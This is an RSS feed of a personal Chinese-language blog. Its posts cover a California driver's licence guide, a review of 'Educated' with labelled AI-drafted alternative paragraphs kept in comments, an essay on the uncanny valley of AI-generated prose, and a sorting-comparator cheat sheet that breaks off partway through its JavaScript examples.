<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title><![CDATA[Juntong Chen's blog]]></title>
        <description><![CDATA[Juntong Chen's blog]]></description>
        <link>https://jtchen.io/blog</link>
        <image>
            <url>https://jtchen.io/icon.png</url>
            <title>Juntong Chen&apos;s blog</title>
            <link>https://jtchen.io/blog</link>
        </image>
        <generator>RSS for Node</generator>
        <lastBuildDate>Tue, 14 Apr 2026 08:45:28 GMT</lastBuildDate>
        <atom:link href="https://jtchen.io/feed.xml" rel="self" type="application/rss+xml"/>
        <pubDate>Wed, 19 Mar 2025 00:00:00 GMT</pubDate>
        <language><![CDATA[en]]></language>
        <item>
            <title><![CDATA[加州驾照速成指南]]></title>
            <description><![CDATA[<p>在美国访问的半年离深刻感受到了在这里没有汽车的寸步难行。不过好在大多数时候都可以蹭朋友的车，Davis 也可以一辆自行车走天下，考取驾照的事宜就一拖再拖。终于在临行一个月的时候，我决定去拿下驾照以方便之后的国际旅行，没想到流程居然出乎意料地简单迅速。如今也可以在最后的几个星期扩大活动半径，想走就走。这里对申请流程稍作简单记录。</p>
<h2 id="procedure"><a href="#procedure">Procedure</a></h2>
<p>主要流程分为笔试 (Written Test) 和路考 (Behind-the-Wheel Test) 两步。</p>
<h3 id="线上申请与预约"><a href="#线上申请与预约">线上申请与预约</a></h3>
<p>在 DMV 官网上选择 <a href="https://www.dmv.ca.gov/portal/driver-licenses-identification-cards/dl-id-online-app-edl-44/">Apply for a DL/ID</a>，根据流程依次注册账号并填写信息。这里需要提供<strong>身份证明</strong>和<strong>地址证明</strong>。对于我这种 J-1 学者的情况，提供的身份证明包括有效的签证、DS2019 和 I-94 表。地址证明需要明确指定了居住地址的文件，我提供的是租房合同与 Apartment 提供的 Ledger。提交申请后，文件会进入预审的状态，等候 1 - 2 个工作日即可得到预审结果。</p>
<p>材料符合要求后，理论上需要在官网上预约，然后携带所有纸质材料去线下的 DMV Office 提交材料并参加笔试。但大多数情况下可以跳过预约，直接 Walk-in。我大概在一个周五的上午 9:00 Walk-in 了 Davis 的 DMV，排队时间在 1h 左右。</p>
<h3 id="笔试"><a href="#笔试">笔试</a></h3>
<p>在线下 DMV 提供预约时提供的证明材料后即可开始笔试。笔试全部为选择题，正确率需要达到 30 / 36，用时大约 30 分钟。我笔试时错了 4 个。印象深刻的包括：</p>
<ul>
<li>It is illegal to leave a child who is six years old or younger unattended in a vehicle. A child may be left ______ (under the supervision of a person who is at least 12 years old).</li>
<li>You must notify the DMV within five days if you: (sell or transfer your vehicle).</li>
</ul>
<p>总体而言，加州笔试的内容比国内的笔试简单很多，我在考前大概刷了 200 题。在 Google 上搜索 DMV Driving Practice Tests 可以找到很多相关的资源，随便选择几个即可。和数值相关的题目记得多背下（例如酒驾浓度 0.08%）。</p>
<p>在 25 年 1 月之前，笔试是可以线上完成的。不过现在这一政策已取消，必须到 DMV 线下完成笔试。提供资料与参加笔试可以在同一天完成，笔试通过后即可开始预约路考。</p>
<h3 id="路考"><a href="#路考">路考</a></h3>
<p>路考同样需要在 DMV 网站上预约，可前往 <a href="https://www.dmv.ca.gov/portal/appointments/select-appointment-type">Appointment</a> 页面选择就近的 DMV 和相应日期。我当时在网站上只能搜索到下一个月在 Woodland 上的路考时间，又写太晚了。因此找了一个驾校帮忙加急预约，约到了一周后的路考。</p>
<p>路考需要自备汽车（驾校一般都可以提供）和保险证明。考官会坐在副驾驶位发出指令。首先是车检指令，会考核 windshield、headlights、emergency flasher 等动作的位置，然后指引考生行驶越 15 分钟。考核内容涉及转弯、变道、路边停车 (pull over)、倒车等。注意一定要遵守 STOP Sign、信号灯和速度限制，其次是在转弯时不要为了安全行驶而开得过于缓慢（我可能是 California Basic Speed Law 的受害者：you may never drive faster than is safe for the current road conditions）。另外，右转时要并入自行车道，转过路口后也可以继续占用自行车道，直到安全并入车道。这些是我在路考中犯的错误。</p>
<p><a data-fslightbox="gallery" href="https://jtchen.s3.ap-northeast-1.amazonaws.com/v1/img/2025/03/14/1741928240510.jpeg"><img src="https://jtchen.s3.ap-northeast-1.amazonaws.com/v1/img/2025/03/14/1741928240510.jpeg" alt="1741928240510" loading="lazy" data-wrapped="true"></a></p>
<p>通过考试会收到临时驾照，使用临时驾照可以合法租车与驾驶。</p>
<h2 id="timeline"><a href="#timeline">Timeline</a></h2>
<p>这里是我在 Davis 的 DMV 申请驾照的时间线：</p>
<ul>
<li>2025.2.12：笔试</li>
<li>2025.2.18：路考</li>
<li>2025.2.28：邮箱收到驾照</li>
</ul>]]></description>
            <link>https://jtchen.io/blog/ca-driver-license</link>
            <guid isPermaLink="false">ca-driver-license</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 19 Mar 2025 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[你当像鸟飞往你的山：教育与背叛]]></title>
            <description><![CDATA[<p>这本书在各大平台的畅销榜上久居不下，比尔・盖茨曾采访过塔拉，对她的传奇经历与这本回忆录大为赞赏。这本书的中译名很有意思，「你当像鸟飞往你的山」取自于《圣经・诗篇》中的 ``Flee as a bird to your mountain''。相比原文的《Educated》，中译名诗意地传达了故事的内核：从过去的自我逃离，找到属于自己的山。</p>
<p>这本书是塔拉・韦斯特弗 (Tara Westover) 的自传，她在一个保守的原教旨主义的摩门教家庭中长大，父亲是一个极端的阴谋论者，母亲则一个顺从的家庭主妇。她是家里七个孩子中最小的一个，有一个姐姐和好几个哥哥。她的父亲患有双向情感障碍，偏执地不让孩子接触政府的教育与医疗，认为他们会迫害孩子的思想，甚至威胁他们的生命。这个家庭几乎都围绕着父亲极端的信仰转动，为父亲拆废料的生意忙上忙下。母亲最初因为不愿意过城里世俗但充满约束的生活而选择了父亲，在父亲多年的影响与控制下，逐渐被父亲暴力式的信仰所同化。她成为了一名助产士，一名草药和精油的信徒。在后来塔拉和父亲的距离越来越远时，母亲也选择站在了父亲一边。</p>
<p>塔拉的童年生活几乎是一场灾难，充满了事故、控制、伤害与暴力。她的爸爸没有赋予她构建自我的机会，打扮与社交被视为罪恶，学习与阅读被视为笑话。她的哥哥肖恩则是放大版的父亲，用武力来宣誓自己的权威。母亲受限于自己的教育和父亲的影响，除了能够教会塔拉一些通识性的知识外，也帮不上什么忙。只有他的哥哥泰勒在她 10 岁以前可以和她分享古典音乐，教会她真正的书本知识。当然，后来的泰勒也远离了父亲，成为家里的第一个博士。他用自己的离开在塔拉心中种下了成长的种子。</p>
<p>她 17 岁才第一次接受到正规教育，刚进入杨百翰大学时经历的心理动荡格外真实。她不拥有周围人所具备的文化与社交上的共识，不知道大屠杀一词的沉重，也不知道在合租公寓中保持卫生的必要性。她一面加倍努力融入这个环境，另一面又时刻被过去的影子困扰，因为融入意味着背叛。尽管加速奔跑追赶，却屡屡碰壁：应对校园里的文化冲击和学业压力已经足够沉重，每次回到巴克峰时却又像是被拉回了原点。多年来逐渐构建起来的新生活仿佛一击即破。来自他人的认可与爱对她来说格外陌生，过去的经历让她始终活在不配得感当中。</p>
<!-- My Version Begin -->
<p>多年以后，当她不再用嬉戏将暴力包装成玩笑，不再对过往感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能与全世界分享自己废墟般的过去时，我感到激动。
隐约还能记起一些七年前初到上海读本科时经历的精神冲击。当个体所接受的教育逐渐突破了家庭的极限，他应该如何面对曾经塑造了自己的故乡，应该如何应对未来与过去的落差？小镇的一切连同家庭的思想仿佛困在了永恒的循环中，而外面的世界早已一日千里。塔拉给出了她的答案，她依旧满怀感激，却选择保持距离。温情有多真实，距离便有多遥远。我在她身上看到了真正的成熟，一种直面过去，不被陈旧的信念束缚，坚定前行的力量。正如她在书里所说，「过去是一个幽灵，虚无缥缈，没什么影响力。只有未来才有分量」。</p>
<!-- `GPT-4o`: 多年以后，当她不再用大笑掩饰伤痛，不再把家庭暴力当作玩笑讲述，也不再因自己的过去而羞愧自卑，而是能够在剑桥的博士课堂上，坦然地向同学们分享自己从废墟中走来的故事时，我感到由衷的敬佩。这一刻，她不再是那个怯懦、怀疑自己的女孩，而是一个真正站立起来的人，一个用知识和勇气挣脱束缚、重塑自我的人。 -->
<!-- o1 -->
<!-- `GPT-o1`: 多年以后，当她不再用大笑来将家庭暴力包装成玩笑，不再对过去感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能面对她的博士同学坦然分享自己废墟般的过去时，我感到激动。她的坦诚与坚韧，不仅是自我救赎的明证，更如一道耀眼的光，照进了那些曾经迷失在阴影中的灵魂。曾经的伤痛与桎梏，随着时间和求知的力量逐渐褪色，被她转化成一阶阶通往新生的台阶。每一个字句、每一次剖白，都是对过去束缚的告别，更是一种对未来无限可能的拥抱。她用自己的经历告诉我们，唯有拥抱真实的自我，才能摆脱命运的锁链，飞向那属于每个人心中的高山。 -->
<!-- DeepSeek -->
<!-- `DeepSeek-R1`: 多年以后，当她不再用大笑来将家庭暴力包装成玩笑，不再对过去感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能面对她的博士同学坦然分享自己废墟般的过去时，我感到激动。那些被父亲称为“魔鬼蛊惑”的学术论文，此刻正化作一柄剔骨刀，将她十七岁前混沌蒙昧的世界剖出清晰的肌理——当肖恩的拳头成为福柯笔下的规训样本，当母亲的沉默化作《第二性》的注脚，巴克峰的暴风雪终于被解构成文明长河中的一粒冰晶。教育给予她的不是与过往决裂的利刃，而是一把丈量生命维度的游标卡尺：废料场铁锈斑驳的童年，剑桥图书馆穹顶投下的菱形光斑，在知识锻造的坐标系中，既是撕裂的创口亦是交叠的坐标。她终于领悟到，所谓背叛，不过是新生的骨节在冲破精神茧房时必然的裂响。 -->
<!-- Claude -->
<!-- `Claude-3.7`: 多年以后，当她不再用大笑来将家庭暴力包装成玩笑，不再对过去感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能面对她的博士同学坦然分享自己废墟般的过去时，我感到激动。她在剑桥大学完成博士学业，站在那些自幼浸润于知识海洋的精英面前，不再为自己的根源感到颤抖。她学会了直视自己的伤痕，理解那些曾经伤害过她的人也是更大体系中的受害者。她开始明白，真正的自由不是逃离过去，而是有能力去审视它、接纳它，并决定不再由它定义自己的未来。教育不仅给了她知识和技能，更给了她看清世界的眼睛和理解自我的能力。那个曾经在巴克峰山下仰望星空的小女孩，如今已经能够以平等的姿态与世界对话，用自己的声音讲述那段被压抑的历史，这种转变本身，就是教育最深刻的意义所在。 -->
<!-- `通义千问`: 多年以后，当塔拉终于站在了学术的巅峰，回首往事时，她发现那段充满痛苦与挣扎的过去，已成为她最宝贵的财富。她不再用大笑来掩饰家庭暴力带来的伤痛，也不再因过去的不堪而感到羞耻与自卑。相反，她学会了接受自己的全部——无论是曾经那个无助、迷茫的小女孩，还是如今这个在剑桥大学攻读博士学位、能够坦然面对自己过去的研究者。对她而言，外界的认可不再是遥不可及的梦想，而是对自己不懈努力的肯定。每当她在国际会议上分享自己的研究成果，或是与同行交流思想时，她都能感受到一种前所未有的自信和满足。更重要的是，她开始明白，教育不仅是知识的积累，更是心灵的解放。它使她从精神的枷锁中挣脱出来，找到了属于自己的声音和方向。通过教育，塔拉不仅改变了自身的命运轨迹，也为其他身处困境的人们点亮了一盏希望之灯，证明无论出身多么卑微，只要心怀梦想，勇于追求，终能找到那座属于自己的山。这段旅程虽然充满了挑战，但也正是这些挑战塑造了今天的她，一个勇敢、独立且充满智慧的女性。 -->
<!-- `Grok`: 多年以后，当塔拉不再用大笑来将家庭暴力包装成玩笑，不再对过去感到羞耻与自卑，不再对外界的认可诚惶诚恐，而是能面对她的博士同学坦然分享自己废墟般的过去时，我感到激动。这份坦然并非一蹴而就，而是教育赋予她的力量。通过知识的获取，塔拉拓宽了视野，理解了世界的多元性；批判性思维的培养使她能够客观地审视自己的经历，不再被过去的阴影所束缚。在大学的环境中，她逐渐建立起独立的自我认同，不再完全受制于家庭的信仰和期望。同时，朋友和导师的陪伴与支持，让她感受到被接纳和被爱的温暖，治愈了内心的创伤。心理的成长让她学会了面对和接受过去，而不是逃避或否认。正是这些力量的汇聚，让塔拉能够勇敢地与过去和解，拥抱新的生活。 -->
<p>生活是寻找归宿的旅程，人总归会飞往属于自己的山。支撑塔拉与过去顺从的自己决裂，背叛信仰、勇敢与新世界拥抱的非凡力量，正是教育。这格外鼓舞人心。在任何时代，我们都可以相信，知识改变命运。</p>
<!-- > 无论你成为谁，无论你把自己变成了什么，那就是你本来的样子。它一直在你心中。不是在剑桥，而是在于你自己。你就是黄金。回到杨百翰大学，甚至回到你家乡的那座山，都不会改变你是谁。那可能会改变别人对你的看法，甚至也会改变你对自己的看法——即便是黄金，在某些光线下也会显得晦暗——但那只是错觉。%%金子一直是金子。%% -->]]></description>
            <link>https://jtchen.io/blog/educated</link>
            <guid isPermaLink="false">educated</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[AI 文字的恐怖谷]]></title>
            <description><![CDATA[<p>最近在互联网上读到不少疑似 AI 生成的文字。</p>
<p>一类破绽百出，有着无比整齐的小标题、用两个星号围起来的强调词，夸夸其谈，说着乍看合理实则食之无味的大真话。复制时整理一下 Markdown 格式应该并不难，然而他们并不会做，更不会去整理文字中的重复信息，验证数据是否产生自幻觉。要是不幸碰上了这种文章，就像误入了洗手间，连忙捏着鼻子返回。</p>
<p>而另一类亦真亦假的就十分令人困惑了。隐约觉得文笔不太对劲，再读一遍，越来越像 AIGC。这些文字极其流畅却信息不足，感情丰富却有些机械。字里行间藏着 DeepSeek 的影子，但我却没有证据。我只记得一个月前人们不太写 “赛博流动”，更不会突然来个 “量子迷宫”。我于是无法分辨，我所感受到的情绪波动是否真实。这种波动到底来自屏幕对面的另一个人，还是只是来自一个概率模型的序列预测。</p>
<p>这也许就是 AI 文字的恐怖谷。互联网上人类文字和机器文字的边界逐渐模糊，机器通过爬取学习人类，人类也在从 AI 这里重新学习如何说话。我感到沮丧，以致于最近看到 2022 年之前出版的书籍 / 论文 / 博客时，有一种原始的安全感，因为我知道这些内容绝对不是 AI 生成的。</p>
<p>当我为 AI 生成的华丽文字感到震惊与赞叹时，我突然意识到，我应当赞叹的不仅是模型本身，更应是全世界中文文字的智慧结晶。那些历史上最优秀的作家用最波澜壮阔的经历和最真挚深刻的情感，写出了最具表现力的文字，赋予了现代 AI 模仿人写作的能力。然而，这些文字最打动人心的从来不是字符本身，而是你和作者类似的成长经历或心路历程、你感受到的榜样的力量或安宁的慰藉、你头脑中混乱的思绪被作者理顺的那一个瞬间。这是梯度下降无法学习到的人性，也是你不应该再用 AI 来写人文向的文字的原因。</p>
<p>AI 时代，更要对文学保持敬畏。不是 AI 写的太好，而是我读过的太少。</p>]]></description>
            <link>https://jtchen.io/blog/uncanny-valley-of-ai</link>
            <guid isPermaLink="false">uncanny-valley-of-ai</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Sat, 15 Feb 2025 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Sort Comparators 速查]]></title>
            <description><![CDATA[<p>在不同编程语言的标准库中，排序对于自定义比较函数的处理逻辑有所不同。为避免混淆，在此稍作整理。</p>
<h2 id="c"><a href="#c">C</a></h2>
<p>在这里先回顾 <a href="https://www.man7.org/linux/man-pages/man3/strcmp.3.html"><code>strcmp</code></a> 的返回值：</p>
<blockquote>
<p><code>strcmp()</code> returns an integer indicating the result of the comparison, as follows:</p>
<ul>
<li>0, if the s1 and s2 are equal;</li>
<li>a negative value if s1 is less than s2;</li>
<li>a positive value if s1 is greater than s2.</li>
</ul>
</blockquote>
<p>几乎所有编程语言的自定义排序函数（如果用整数作为返回值）都遵循 <code>strcmp</code> 的约定。</p>
<p>具体而言，<a href="https://www.gnu.org/software/libc/manual/html_node/Array-Sort-Function.html"><code>qsort</code></a> 使用一个函数指针作为比较函数：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-type">int</span> <span class="hljs-title function_">comparison_fn_t</span> (<span class="hljs-params hljs-type">const</span> <span class="hljs-params hljs-type">void</span> *, <span class="hljs-params hljs-type">const</span> <span class="hljs-params hljs-type">void</span> *);</div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-type">void</span> <span class="hljs-title function_">qsort</span> (<span class="hljs-params hljs-type">void</span> *<span class="hljs-params hljs-built_in">array</span>, <span class="hljs-params hljs-type">size_t</span> count, <span class="hljs-params hljs-type">size_t</span> size, <span class="hljs-params hljs-type">comparison_fn_t</span> compare)</div></code></pre>
<ul>
<li>返回值 &#x3C; 0，排序结果中 <code>a</code> 在 <code>b</code> 之前（可以理解为排序后和入参顺序相同）</li>
<li>返回值 > 0，排序结果中 <code>b</code> 在 <code>a</code> 之前</li>
<li>返回值 = 0，由于 <code>qsort</code> 不稳定，不保证相等时的顺序。</li>
</ul>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;stdio.h></span></div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;stdlib.h></span></div><div class="code-line numbered-code-line" data-line-number="3"></div><div class="code-line numbered-code-line" data-line-number="4"><span class="hljs-type">int</span> <span class="hljs-title function_">cmp</span>(<span class="hljs-params hljs-type">const</span> <span class="hljs-params hljs-type">void</span> *a, <span class="hljs-params hljs-type">const</span> <span class="hljs-params hljs-type">void</span> *b) {</div><div class="code-line numbered-code-line" data-line-number="5">    <span class="hljs-keyword">return</span> *(<span class="hljs-type">int</span> *)a - *(<span class="hljs-type">int</span> *)b;</div><div class="code-line numbered-code-line" data-line-number="6">}</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="9">    <span class="hljs-type">int</span> arr[] = {<span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">9</span>, <span class="hljs-number">6</span>};</div><div class="code-line numbered-code-line" data-line-number="10">    qsort(arr, <span class="hljs-keyword">sizeof</span>(arr) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-type">int</span>), <span class="hljs-keyword">sizeof</span>(<span class="hljs-type">int</span>), cmp);</div><div class="code-line numbered-code-line" data-line-number="11">    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="12">}</div></code></pre>
<h2 id="c-1"><a href="#c-1">C++</a></h2>
<p>C++ 的 <a href="https://en.cppreference.com/w/cpp/algorithm/sort"><code>std::sort</code></a> （不稳定，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo>⋅</mo><mi>log</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N \cdot \log(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">)</span></span></span></span>）和 <a href="https://en.cppreference.com/w/cpp/algorithm/stable_sort"><code>std::stable_sort</code></a>（稳定，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo>⋅</mo><mi>log</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N \cdot \log(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span> 或内存受限时 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mo>⋅</mo><msup><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msup><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N \cdot \log^2(N))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1484em;vertical-align:-0.25em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8984em;"><span style="top:-3.1473em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mclose">))</span></span></span></span>）都支持可选的 <code>cmp</code> 参数，定义如下：</p>
<blockquote>
<p><code>cmp</code>: comparison function object (i.e. an object that satisfies the requirements of Compare) which returns <strong>​true</strong> if the first argument is less than <strong>(i.e. is ordered before</strong>) the second.</p>
</blockquote>
<p><code>cmp</code> 返回值为 <code>bool</code>，<code>true</code> 时保证排序结果中 <code>a</code> 在 <code>b</code> 前面，<code>false</code> 时表示 <code>a</code> <strong>不小于</strong> <code>b</code>，这时分为两种情况：</p>
<ol>
<li><code>a</code> 和 <code>b</code> 不等：<code>std::sort</code> 和 <code>std::stable_sort</code> 会交换 <code>a</code> 和 <code>b</code> 的位置，使得 <code>b</code> 在 <code>a</code> 前；</li>
<li><code>a</code> 和 <code>b</code> 相等：<code>std::stable_sort</code> 会维持数组中的原有顺序，<code>std::sort</code> 由于是不稳定排序，不保证顺序。</li>
</ol>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">std::vector&#x3C;<span class="hljs-type">int</span>> arr {<span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">9</span>, <span class="hljs-number">6</span>};</div><div class="code-line numbered-code-line" data-line-number="2"></div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-comment">// Ascending order (default)</span></div><div class="code-line numbered-code-line" data-line-number="4">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>());</div><div class="code-line numbered-code-line" data-line-number="5">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>(), std::<span class="hljs-built_in">less</span>&#x3C;<span class="hljs-type">int</span>>());</div><div class="code-line numbered-code-line" data-line-number="6">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>(), [](<span class="hljs-type">int</span> a, <span class="hljs-type">int</span> b) { <span class="hljs-keyword">return</span> a &#x3C; b; });</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-comment">// Descending order</span></div><div class="code-line numbered-code-line" data-line-number="9">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>(), std::<span class="hljs-built_in">greater</span>&#x3C;<span class="hljs-type">int</span>>());</div><div class="code-line numbered-code-line" data-line-number="10">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>(), [](<span class="hljs-type">int</span> a, <span class="hljs-type">int</span> b) { <span class="hljs-keyword">return</span> a > b; });</div></code></pre>
<p>未提供 <code>cmp</code> 时，默认使用 <code>std::less&#x3C;T></code>，即 <code>a &#x3C; b</code>。因此也可重载 <code>operator&#x3C;</code>：</p>
<pre><code class="hljs language-cpp" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">// Ascending by x, then by y</span></div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-keyword">struct</span> <span class="hljs-title class_">Point</span> {</div><div class="code-line numbered-code-line" data-line-number="3">    <span class="hljs-type">int</span> x, y;</div><div class="code-line numbered-code-line" data-line-number="4">    <span class="hljs-type">bool</span> <span class="hljs-keyword">operator</span>&#x3C;(<span class="hljs-type">const</span> Point&#x26; rhs) <span class="hljs-type">const</span> {</div><div class="code-line numbered-code-line" data-line-number="5">        <span class="hljs-keyword">return</span> x == rhs.x ? y &#x3C; rhs.y : x &#x3C; rhs.x;</div><div class="code-line numbered-code-line" data-line-number="6">    }</div><div class="code-line numbered-code-line" data-line-number="7">}</div><div class="code-line numbered-code-line" data-line-number="8"></div><div class="code-line numbered-code-line" data-line-number="9">std::vector&#x3C;Point> arr {{<span class="hljs-number">3</span>, <span class="hljs-number">1</span>}, {<span class="hljs-number">4</span>, <span class="hljs-number">1</span>}, {<span class="hljs-number">5</span>, <span class="hljs-number">9</span>}, {<span class="hljs-number">6</span>, <span class="hljs-number">2</span>}};</div><div class="code-line numbered-code-line" data-line-number="10">std::<span class="hljs-built_in">sort</span>(arr.<span class="hljs-built_in">begin</span>(), arr.<span class="hljs-built_in">end</span>());</div></code></pre>
<h2 id="javascript"><a href="#javascript">JavaScript</a></h2>
<p>JavaScript 的 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort"><code>Array.prototype.sort</code></a>（in-place，返回原数组引用）和 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSorted"><code>Array.prototype.toSorted</code></a>（原数组不变，返回排序的新数组）均支持可选的 <code>compareFn</code>，定义如下（和 <code>strcmp</code> 一致）：</p>
<blockquote>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort">Reference</a></p>
<p><code>compareFn</code>: A function that determines the order of the elements. The function is called with the following arguments:</p>
<p>a: The first element for comparison. Will never be undefined. <br />
b: The second element for comparison. Will never be undefined. <br />
It should return a number where:</p>
<p>A negative value indicates that a should come before b.
A positive value indicates that a should come after b.
Zero or NaN indicates that a and b are considered equal.</p>
<p>To memorize this, remember that <code>(a, b) => a - b</code> sorts numbers in ascending order.</p>
</blockquote>
<p>ECMAScript 10 以上的 <code>sort</code> 为<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#sort_stability">稳定</a>的。当返回值为 <code>0</code> 时，<code>a</code> 和 <code>b</code> 的相对顺序不变。</p>
<pre><code class="hljs language-javascript" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">const</span> arr = [<span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">9</span>, <span class="hljs-number">6</span>];</div><div class="code-line numbered-code-line" data-line-number="2"></div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-comment">// Ascending order (default)</span></div><div class="code-line numbered-code-line" data-line-number="4">arr.<span class="hljs-title function_">sort</span>();</div><div class="code-line numbered-code-line" data-line-number="5">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => a - b);</div><div class="code-line numbered-code-line" data-line-number="6">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => a &#x3C; b ? -<span class="hljs-number">1</span> : <span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="7">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => a > b ? <span class="hljs-number">1</span> : -<span class="hljs-number">1</span>);</div><div class="code-line numbered-code-line" data-line-number="8"></div><div class="code-line numbered-code-line" data-line-number="9"><span class="hljs-comment">// Descending order</span></div><div class="code-line numbered-code-line" data-line-number="10">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => b - a);</div><div class="code-line numbered-code-line" data-line-number="11">arr.<span class="hljs-title function_">sort</span>((<span class="hljs-function hljs-params">a, b</span>) => a > b ? -<span 